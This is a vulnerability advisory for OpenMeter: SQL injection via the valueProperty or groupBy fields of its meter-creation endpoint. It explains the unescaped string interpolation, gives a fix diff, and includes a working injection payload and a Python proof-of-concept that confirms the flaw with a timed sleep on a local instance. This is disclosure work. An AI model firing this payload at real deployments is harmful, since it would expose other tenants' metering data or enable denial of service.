OpenMeter: SQL injection through meter creation

Summary

An authenticated tenant can inject arbitrary SQL through the valueProperty or groupBy fields of POST /api/v1/meters. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data.

Details

openmeter/streaming/clickhouse/utils_query.go:15 builds a ClickHouse SELECT by interpolating user input with fmt.Sprintf:

sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))

sqlbuilder.Escape() (go-sqlbuilder v1.40.2) only replaces $ → $$ to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. sb.Build() always returns an empty args slice — the query is never parameterized.

The payload must be prefixed with a valid JSONPath expression (e.g. $.foo) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which ValidateJSONPath silently treats as "invalid JSONPath" and returns early — before the injected branch can execute.

Working payload: `` $.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one -- ``

Generated SQL: ``sql SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --' ``

Fix — replace fmt.Sprintf string interpolation with sb.Var(), which appends the value to the builder's args list and emits a ? placeholder:

-sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))
+sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath)))

PoC

poc.py:

import json, time, uuid
from urllib.request import Request, urlopen

SLEEP   = 3
API     = "http://localhost:48888"
PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --"

def post_meter(value_property):
    body = json.dumps({
        "slug":          f"poc_{uuid.uuid4().hex[:8]}",
        "eventType":     "x",
        "aggregation":   "SUM",
        "valueProperty": value_property,
    }).encode()
    req = Request(f"{API}/api/v1/meters", data=body,
                  headers={"Content-Type": "application/json"}, method="POST")
    t0 = time.monotonic()
    with urlopen(req, timeout=SLEEP + 10) as r:
        return r.status, time.monotonic() - t0

_, baseline = post_meter("$.tokens")
status, elapsed = post_meter(PAYLOAD)

print(f"baseline : {baseline:.3f}s")
print(f"injected : {elapsed:.3f}s  (HTTP {status})")
print(f"result   : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}")

docker compose up -d
until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done
python3 poc.py

Expected output: `` baseline : 0.036s injected : 3.031s (HTTP 200) result : sleep(3) CONFIRMED ``

Impact

SQL injection via POST /api/v1/meters (valueProperty or groupBy). Requires a valid tenant API key; no other preconditions. The shared openmeter.om_events table has no row-level security — a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible.

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research